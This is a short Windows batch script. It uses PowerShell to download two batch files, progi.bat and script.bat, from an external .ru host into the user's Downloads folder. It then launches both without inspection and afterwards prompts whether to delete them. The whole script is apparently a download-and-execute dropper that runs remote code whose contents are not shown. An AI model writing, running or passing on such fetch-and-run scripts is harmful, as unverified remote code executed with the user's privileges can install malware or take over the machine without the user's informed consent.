@echo off setlocal enabledelayedexpansion :: Set path to the standard Downloads folder set "folder=%USERPROFILE%\Downloads" :: Create the folder if it doesn't exist (though it usually does) if not exist "%folder%" mkdir "%folder%" :: Download the first file to the folder using PowerShell (compatible with Win7+) powershell -Command "Invoke-WebRequest -Uri 'https://1frp.ru/files/progi.bat' -OutFile '%folder%\progi.bat'" :: Download the second file to the folder using PowerShell powershell -Command "Invoke-WebRequest -Uri 'https://1frp.ru/files/script.bat' -OutFile '%folder%\script.bat'" :: Launch in parallel with unique window titles (for easy monitoring) start "ProgiTask" "%folder%\progi.bat" start "ScriptTask" "%folder%\script.bat" :: Prompt for input 1 to delete (without automatic waiting) set /p input="Enter 1 to delete files: " if "%input%"=="1" ( :: Force delete the files del /f "%folder%\progi.bat" del /f "%folder%\script.bat" ) else ( echo Deletion canceled. ) endlocal